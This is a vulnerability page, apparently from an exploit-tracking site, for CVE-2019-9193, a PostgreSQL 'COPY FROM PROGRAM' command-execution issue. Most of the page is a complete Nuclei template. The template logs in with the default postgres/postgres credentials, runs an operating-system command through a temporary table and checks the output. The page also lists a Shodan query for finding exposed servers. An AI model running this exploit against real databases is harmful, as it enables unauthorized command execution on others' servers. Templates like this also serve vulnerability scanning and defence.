CVE-2019-9193: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution

2025-08-01 PostgreSQL PoC Public

Description

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.

PoC

id: CVE-2019-9193

info:
  name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
  metadata:
    verified: true
    max-request: 1
    shodan-query: "product:\"PostgreSQL\""
  classification:
    epss-score: 0.93657
    epss-percentile: 0.99828
  tags: cve,cve2018,js,network,postgresql,intrusive,vkev,vuln


javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      const tbl = tbl_exec
      const qry = ["CREATE TABLE "+tbl+"(cmd_output text);", "COPY "+tbl + " FROM PROGRAM 'id';", "SELECT * FROM "+ tbl+";", "DROP TABLE IF EXISTS " +tbl+";",];
      for (const x of qry){
        connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, x);
        Export(connected);
      }

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"
      tbl_exec: "{{randbase(5)}}"

    payloads:
      usernames:
        - postgres
      database:
        - postgres
      password:
        - postgres

    attack: clusterbomb

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: word
        words:
          - "cmd_output"
# digest: 4a0a0047304502204219eca5dc5b0212fbf9b8a47f1d0f302ab6ba34323c3cb0bb18812fa0b86d5902210085d28a36e03c0a0d0b26a185c345259fd4556dc56fb0fa4bdb990f3ba4d0ea45:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities